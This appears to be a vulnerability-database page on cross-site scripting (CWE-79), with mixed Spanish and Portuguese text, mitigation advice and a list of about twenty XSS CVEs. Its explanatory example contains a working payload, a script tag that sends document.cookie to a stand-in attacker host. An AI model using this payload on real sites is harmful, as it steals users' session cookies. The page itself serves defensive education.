Fallos del tipo CWE-79

30.293 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-4026MEDIUMCross-Site Scripting in the Holded applicationEPSS 0.3%CVE-2026-66029MEDIUMEkushey Project Manager CRM 5.0 Stored XSS via Client Name FieldEPSS 0.3%CVE-2025-70515MEDIUMThe device log component of Fanvil x7a firmware version 2.6.0.1182 does not properly sanitize or encode reflected user supplied data. The laEPSS 0.3%CVE-2025-41085MEDIUMStored Cross-Site Scripting (XSS) in Apidog web platformEPSS 0.3%CVE-2026-97030MEDIUMRecognize yield as regexp preceder keyword in html/templateEPSS 0.3%CVE-2025-48366MEDIUMGroupOffice's Blind Stored XSS in Phone Number Field Enables Forced Redirect and Unauthorized ActionsEPSS 0.3%CVE-2025-8337MEDIUMcode-projects Simple Car Rental System add_vehicles.php cross site scriptingEPSS 0.3%CVE-2024-56265HIGHWordPress WooCommerce - PDF Vouchers plugin < 4.9.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-32572MEDIUMWordPress Element Pack Elementor Addons plugin <= 5.6.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-5539MEDIUMcode-projects Simple Laundry System Parameter modifymember.php cross site scriptingEPSS 0.3%CVE-2024-32576MEDIUMWordPress BA Book Everything plugin <= 1.6.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-63420MEDIUMCrushFTP11 before 11.3.7_57 is vulnerable to stored HTML injection in the CrushFTP Admin Panel (Reports / "Who Created Folder"), enabling peEPSS 0.3%CVE-2024-22876MEDIUMStrangeBee TheHive 5.1.0 to 5.1.9 and 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case attachment functionality which EPSS 0.3%CVE-2024-39125MEDIUMRoundup before 2.4.0 allows XSS via a SCRIPT element in an HTTP Referer header.EPSS 0.3%CVE-2024-36238MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2023-42427MEDIUMCross-site scripting vulnerability exists in UNIVERSAL PASSPORT RX versions 1.0.0 to 1.0.7, which may allow a remote authenticated attacker EPSS 0.3%CVE-2023-52045MEDIUMStudio-42 eLfinder 2.1.62 contains a filename restriction bypass leading to a persistent Cross-site Scripting (XSS) vulnerability.EPSS 0.3%CVE-2026-1316HIGHCustomer Reviews for WooCommerce <= 5.97.0 - Unauthenticated Stored Cross-Site Scripting via media[].href ParameterEPSS 0.3%CVE-2026-100148MEDIUMRich Showcase for Google Reviews <= 7.1.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Google Review Text (imported via Places API)EPSS 0.3%CVE-2025-41065MEDIUMStored Cross-Site Scripting (XSS) in LUNA from Luna ImagingEPSS 0.3%